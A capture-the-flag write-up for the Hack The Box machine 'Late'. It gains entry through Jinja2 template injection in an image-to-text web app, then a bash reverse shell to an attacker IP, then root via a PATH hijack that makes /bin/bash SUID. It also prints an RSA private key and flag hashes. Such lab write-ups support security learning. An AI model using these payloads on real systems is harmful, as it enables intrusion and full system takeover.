Late
6 minutes to read
- OS: Linux
- Difficulty: Easy
- IP Address: 10.10.11.156
- Release: 23 / 04 / 2022
Port scanning
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.156 -p 22,80
Nmap scan report for 10.10.11.156
Host is up (0.054s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 02:5e:29:0e:a3:af:4e:72:9d:a4:fe:0d:cb:5d:83:07 (RSA)
| 256 41:e1:fe:03:a5:c7:97:c4:d5:16:77:f3:41:0c:e9:fb (ECDSA)
|_ 256 28:39:46:98:17:1e:46:1a:1e:a1:ab:3b:9a:57:70:48 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Late - Best online image tools
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 10.25 seconds
This machine has ports 22 (SSH) and 80 (HTTP) open.
Enumeration
If we go to http://10.10.11.156
, we will see a website that talks about photos:
In the footer, we see support@late.htb
, which indicates that there can be virtual hosts configured. Let’s use ffuf
to enumerate subdomains:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-lowercase-2.3-medium.txt -u http://10.10.11.156 -H 'Host: FUZZ.late.htb' -fw 828
images [Status: 200, Size: 2187, Words: 448, Lines: 64, Duration: 302ms]
Now, we can set images.late.htb
in /etc/hosts
and access:
It is a web application built in Flask (a Python web framework) that takes an image and extracts the text inside. Let’s try this feature with this image (taken as a screenshot from the terminal):
The server automatically downloads a results.txt
file. Let’s use curl
instead:
$ curl images.late.htb/scanner -F file=@Late-test-image.png
<p>Test
</p>
Foothold
This is interesting, it is rendering the text inside the HTML response. Since it is running on Flask, we can try Server-Side Template Injection (SSTI) in Jinja2 (the default template engine for Flask)::
$ curl images.late.htb/scanner -F file=@Late-test-ssti.png
<p>49
</p>
And it shows 49
(7*7
), so it is vulnerable.
Exploiting SSTI
Let’s get Remote Code Execution taking the following payload from PayloadsAllTheThings:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
Instead of id
, we want to get a reverse shell on the system.
This time, I won’t be encoding the command in Base64 because the web application might fail extracting text. Instead, I can force the server to perform a GET request to my machine to retrieve a file index.html
that contains the actual reverse shell command and pipe it to Bash:
$ vim index.html
$ cat index.html
#!/bin/bash
bash -i >& /dev/tcp/10.10.17.44/4444 0>&1
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
Now that everything is set up, we send the image:
$ curl images.late.htb/scanner -F file=@Late-rce-ssti.png
We receive the GET request for the index.html
:
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.156 - - [] "GET / HTTP/1.1" 200 -
And the reverse shell hits nc
:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.156.
Ncat: Connection from 10.10.11.156:54444.
bash: cannot set terminal process group (1206): Inappropriate ioctl for device
bash: no job control in this shell
svc_acc@late:~/app$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
svc_acc@late:~/app$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
svc_acc@late:~/app$ export TERM=xterm
svc_acc@late:~/app$ export SHELL=bash
svc_acc@late:~/app$ stty rows 50 columns 158
At this point, we can read the user.txt
flag:
svc_acc@late:~/app$ cd
svc_acc@late:~$ cat user.txt
3a121d4b78598d9e1d214af6647f1027
System enumaration
We are user svc_acc
. Let’s find which files and directories are owned by svc_acc
:
svc_acc@late:~$ find / -user svc_acc 2>/dev/null | grep -vE 'proc|sys|run|home'
/usr/local/sbin
/usr/local/sbin/ssh-alert.sh
/dev/pts/0
There is a Bash script:
svc_acc@late:~$ cat /usr/local/sbin/ssh-alert.sh
#!/bin/bash
RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"
BODY="
A SSH login was detected.
User: $PAM_USER
User IP Host: $PAM_RHOST
Service: $PAM_SERVICE
TTY: $PAM_TTY
Date: `date`
Server: `uname -a`
"
if [ ${PAM_TYPE} = "open_session" ]; then
echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi
It seems to be related with SSH logins. Let’s see if there is any other file that references ssh-alert.sh
:
svc_acc@late:~$ grep -r ssh-alert.sh / 2>/dev/null
/etc/pam.d/sshd:session required pam_exec.so /usr/local/sbin/ssh-alert.sh
^C
There is a PAM (Pluggable Authentication Module) that uses ssh-alert.sh
.
We notice that the script is stored in /usr/local/sbin
, and the PATH
variable has this directory the first:
svc_acc@late:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Moreover, we are able to write in /usr/local/sbin
because we own the directory:
svc_acc@late:~$ ls -l --time-style=+ /usr/local
total 32
drwxr-xr-x 2 root root 4096 bin
drwxr-xr-x 2 root root 4096 etc
drwxr-xr-x 2 root root 4096 games
drwxr-xr-x 2 root root 4096 include
drwxr-xr-x 4 root root 4096 lib
lrwxrwxrwx 1 root root 9 man -> share/man
drwxr-xr-x 2 svc_acc svc_acc 4096 sbin
drwxr-xr-x 7 root root 4096 share
drwxr-xr-x 2 root root 4096 src
Privilege escalation
The previous Bash script is running commands without the absolute path, so we are able to create malicious executable files that overwrite the legitimate ones. For example, uname
.
The usual absolute path for uname
is:
svc_acc@late:~$ which uname
/bin/uname
But we are creating a new uname
executable file that will set /bin/bash
as a SUID binary:
svc_acc@late:~$ cat > /usr/local/sbin/uname
#!/bin/bash
chmod 4755 /bin/bash
^C
svc_acc@late:~$ chmod +x /usr/local/sbin/uname
Since the malicious uname
is inside /usr/local/sbin
and this directory comes first in the PATH
environment variable, now the command uname
will be our new one:
svc_acc@late:~$ which uname
/usr/local/sbin/uname
We can try to access SSH and try random passwords, but the ssh-alert.sh
script is not executed, and so /bin/bash
is not SUID yet.
Hence, we can guess that we need to log in successfully. For that, we see that svc_acc
has a .ssh
directory:
svc_acc@late:~$ ls -la
total 40
drwxr-xr-x 7 svc_acc svc_acc 4096 Apr 7 13:51 .
drwxr-xr-x 3 root root 4096 Jan 5 10:44 ..
drwxrwxr-x 7 svc_acc svc_acc 4096 Apr 4 13:28 app
lrwxrwxrwx 1 svc_acc svc_acc 9 Jan 16 18:45 .bash_history -> /dev/null
-rw-r--r-- 1 svc_acc svc_acc 3771 Apr 4 2018 .bashrc
drwx------ 3 svc_acc svc_acc 4096 Apr 7 13:51 .cache
drwx------ 3 svc_acc svc_acc 4096 Jan 5 10:45 .gnupg
drwxrwxr-x 5 svc_acc svc_acc 4096 Jan 5 12:13 .local
-rw-r--r-- 1 svc_acc svc_acc 807 Apr 4 2018 .profile
drwx------ 2 svc_acc svc_acc 4096 Apr 7 11:08 .ssh
-rw-r----- 1 root svc_acc 33 Apr 21 11:24 user.txt
Moreover, it contains a private SSH key:
svc_acc@late:~$ cat .ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAqe5XWFKVqleCyfzPo4HsfRR8uF/P/3Tn+fiAUHhnGvBBAyrM
HiP3S/DnqdIH2uqTXdPk4eGdXynzMnFRzbYb+cBa+R8T/nTa3PSuR9tkiqhXTaEO
bgjRSynr2NuDWPQhX8OmhAKdJhZfErZUcbxiuncrKnoClZLQ6ZZDaNTtTUwpUaMi
/mtaHzLID1KTl+dUFsLQYmdRUA639xkz1YvDF5ObIDoeHgOU7rZV4TqA6s6gI7W7
d137M3Oi2WTWRBzcWTAMwfSJ2cEttvS/AnE/B2Eelj1shYUZuPyIoLhSMicGnhB7
7IKpZeQ+MgksRcHJ5fJ2hvTu/T3yL9tggf9DsQIDAQABAoIBAHCBinbBhrGW6tLM
fLSmimptq/1uAgoB3qxTaLDeZnUhaAmuxiGWcl5nCxoWInlAIX1XkwwyEb01yvw0
ppJp5a+/OPwDJXus5lKv9MtCaBidR9/vp9wWHmuDP9D91MKKL6Z1pMN175GN8jgz
W0lKDpuh1oRy708UOxjMEalQgCRSGkJYDpM4pJkk/c7aHYw6GQKhoN1en/7I50IZ
uFB4CzS1bgAglNb7Y1bCJ913F5oWs0dvN5ezQ28gy92pGfNIJrk3cxO33SD9CCwC
T9KJxoUhuoCuMs00PxtJMymaHvOkDYSXOyHHHPSlIJl2ZezXZMFswHhnWGuNe9IH
Ql49ezkCgYEA0OTVbOT/EivAuu+QPaLvC0N8GEtn7uOPu9j1HjAvuOhom6K4troi
WEBJ3pvIsrUlLd9J3cY7ciRxnbanN/Qt9rHDu9Mc+W5DQAQGPWFxk4bM7Zxnb7Ng
Hr4+hcK+SYNn5fCX5qjmzE6c/5+sbQ20jhl20kxVT26MvoAB9+I1ku8CgYEA0EA7
t4UB/PaoU0+kz1dNDEyNamSe5mXh/Hc/mX9cj5cQFABN9lBTcmfZ5R6I0ifXpZuq
0xEKNYA3HS5qvOI3dHj6O4JZBDUzCgZFmlI5fslxLtl57WnlwSCGHLdP/knKxHIE
uJBIk0KSZBeT8F7IfUukZjCYO0y4HtDP3DUqE18CgYBgI5EeRt4lrMFMx4io9V3y
3yIzxDCXP2AdYiKdvCuafEv4pRFB97RqzVux+hyKMthjnkpOqTcetysbHL8k/1pQ
GUwuG2FQYrDMu41rnnc5IGccTElGnVV1kLURtqkBCFs+9lXSsJVYHi4fb4tZvV8F
ry6CZuM0ZXqdCijdvtxNPQKBgQC7F1oPEAGvP/INltncJPRlfkj2MpvHJfUXGhMb
Vh7UKcUaEwP3rEar270YaIxHMeA9OlMH+KERW7UoFFF0jE+B5kX5PKu4agsGkIfr
kr9wto1mp58wuhjdntid59qH+8edIUo4ffeVxRM7tSsFokHAvzpdTH8Xl1864CI+
Fc1NRQKBgQDNiTT446GIijU7XiJEwhOec2m4ykdnrSVb45Y6HKD9VS6vGeOF1oAL
K6+2ZlpmytN3RiR9UDJ4kjMjhJAiC7RBetZOor6CBKg20XA1oXS7o1eOdyc/jSk0
kxruFUgLHh7nEx/5/0r8gmcoCvFn98wvUPSNrgDJ25mnwYI0zzDrEw==
-----END RSA PRIVATE KEY-----
We can copy it to our machine and connect via SSH without using password and see that now /bin/bash
is SUID:
$ vim id_rsa
$ chmod 600 id_rsa
$ ssh -i id_rsa svc_acc@late.htb
-bash-4.4$ source ~/.bashrc
svc_acc@late:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1113504 Jun 6 2019 /bin/bash
Finally, we run bash -p
to tell Bash to use the SUID privilege and we are root
:
svc_acc@late:~$ bash -p
bash-4.4# cat /root/root.txt
c54e75a791e86353a647700ab1878431